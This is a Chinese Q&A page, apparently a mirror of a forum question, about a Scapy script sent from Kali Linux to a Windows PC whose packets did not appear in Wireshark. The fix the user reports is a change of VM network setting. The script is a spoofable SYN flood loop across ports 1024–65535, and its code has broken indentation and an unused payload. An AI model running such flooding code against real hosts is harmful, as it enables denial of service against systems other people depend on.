首页 > 解决方案 > 将数据包转发到窗口

问题描述

我编写了一个代码,将一个数据包从我的 Kali Linux 机器发送到我的 Windows PC,但该数据包没有显示在 Wireshark 中。代码中没有错误,它发送数据包但没有收到。

任何人都可以帮忙吗?

#!/usr/bin/python

from scapy.all import *    
def synflood(src,tgt,message):
for dport in range(1024,65535):      
    IPlayer = IP(src=src, dst=tgt)
    TCPlayer = TCP(sport=4444, dport=dport)
    RAWlayer = Raw(load=message)
    pkt = IPlayer/TCPlayer
    send(pkt)

source = input("src: ")
target = input("targert : ")
message = input(" load : ")

while True:
    synflood(source,target,message)

标签: linuxwireshark

解决方案


更新:所以我解决了这个问题!我尝试用“dport = 80”替换for语句,对于目标IP,我选择了另一个目标IP而不是我的电脑a它出现在wireshark中,这就是我意识到我应该配置内部VM网络而不是桥接网络的方式,它奏效了


推荐阅读